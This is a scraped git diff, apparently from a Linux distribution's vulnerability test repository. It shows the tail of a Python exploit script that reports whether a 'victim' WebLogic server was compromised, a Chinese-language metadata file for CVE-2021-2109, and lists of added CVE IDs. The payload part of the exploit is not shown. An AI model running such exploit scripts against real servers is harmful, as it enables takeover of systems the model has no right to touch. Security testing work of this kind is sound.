oResponse = oOpener.open(oRequest, timeout = iTimeout)
|
||||
time.sleep(5)
|
||||
bExploitWorked = False
|
||||
for line in oRun.stdout:
|
||||
if 'Log a request' in line: bExploitWorked = True
|
||||
if 'BypassByEl' in line: print('[-] Exploit failed, wrong SDK on victim')
|
||||
if not bExploitWorked: print('[-] Exploit failed, victim likely patched')
|
||||
else: print('[+] Victim vulnerable, exploit worked (could be as limited account!)')
|
||||
if bVerbose: print(oRun.stderr)
|
||||
endIt()
|
||||
|
||||
if __name__ == "__main__":
|
||||
try: main()
|
||||
except KeyboardInterrupt: endIt()
|
||||
|
|
@ -0,0 +1,20 @@
|
|||
id: CVE-2021-2109
|
||||
source: https://www.exploit-db.com/exploits/49461
|
||||
info:
|
||||
name: WebLogic是美国Oracle公司出品的一个application server,是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
|
||||
severity: high
|
||||
description: |
|
||||
Oracle 融合中间件(组件:控制台)的 Oracle WebLogic Server 产品中的漏洞。受影响的受支持版本为 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0 和 14.1.1.0.0。容易利用的漏洞允许具有通过 HTTP 进行网络访问的高特权攻击者破坏 Oracle WebLogic Server。成功攻击此漏洞可导致接管 Oracle WebLogic Server。
|
||||
scope-of-influence:
|
||||
weblogic 10.3.6.0.0, weblogic 12.1.3.0.0, weblogic 12.2.1.3.0, weblogic 12.2.1.4.0, weblogic 14.1.1.0.0
|
||||
reference:
|
||||
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-2109
|
||||
https://nvd.nist.gov/vuln/detail/CVE-2021-2109
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 7.2
|
||||
cve-id: CVE-2021-2109
|
||||
cwe-id: None
|
||||
cnvd-id: None
|
||||
kve-id: None
|
||||
tags: cve2021, Weblogic
|
|
@ -11,6 +11,7 @@ cve:
|
|||
- CVE-2020-13932
|
||||
apache-CouchDB:
|
||||
- CVE-2022-24706
|
||||
- CVE-2023-23638
|
||||
apache-Dubbo:
|
||||
- CVE-2021-43297
|
||||
- CVE-2021-25641
|
||||
|
@ -145,11 +146,15 @@ cve:
|
|||
- CVE-2021-3517
|
||||
- CVE-2021-3518
|
||||
- CVE-2021-3537
|
||||
django:
|
||||
- CVE-2022-28346
|
||||
- CVE-2021-31542
|
||||
fortinac:
|
||||
- CVE-2022-39952
|
||||
redis:
|
||||
- CVE-2022-31144
|
||||
java-spring:
|
||||
- CVE-2017-8046
|
||||
- CVE-2020-5398
|
||||
- CVE-2022-22965
|
||||
- CVE-2022-22963
|
||||
|
@ -163,6 +168,7 @@ cve:
|
|||
Grafana:
|
||||
- CVE-2021-43798
|
||||
Froxlor:
|
||||
- CVE-2021-42325
|
||||
- CVE-2023-0315
|
||||
cnvd:
|
||||
apache-tomcat:
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
#此收录漏洞列表为非openKylin发行版用例。
|
||||
cve:
|
||||
linux-kernel:
|
||||
- CVE-2017-1000112
|
||||
- CVE-2019-16884
|
||||
- CVE-2021-33909
|
||||
- CVE-2021-3493
|
||||
|
@ -12,6 +13,9 @@ cve:
|
|||
- CVE-2021-33624
|
||||
- CVE-2020-27194
|
||||
- CVE-2023-0179
|
||||
- CVE-2018-18955
|
||||
- CVE-2011-4917
|
||||
- CVE-2011-4916
|
||||
polkit:
|
||||
- CVE-2021-3560
|
||||
Outlook:
|
||||
|
@ -33,8 +37,9 @@ cve:
|
|||
- CVE-2022-22978
|
||||
apache-commons-text:
|
||||
- CVE-2022-42889
|
||||
apache-struts:
|
||||
apache-Struts:
|
||||
- CVE-2017-9805
|
||||
- CVE-2018-11776
|
||||
unzip:
|
||||
- CVE-2022-0529
|
||||
django:
|
||||
|
@ -51,7 +56,12 @@ cve:
|
|||
- CVE-2022-23131
|
||||
weblogic:
|
||||
- CVE-2022-2555
|
||||
- CVE-2021-2109
|
||||
Zyxel:
|
||||
- CVE-2022-30525
|
||||
WordPress:
|
||||
- CVE-2019-8942
|
||||
Zimbra:
|
||||
- CVE-2022-41352
|
||||
cnvd:
|
||||
|
||||
|
|
Loading…
Reference in New Issue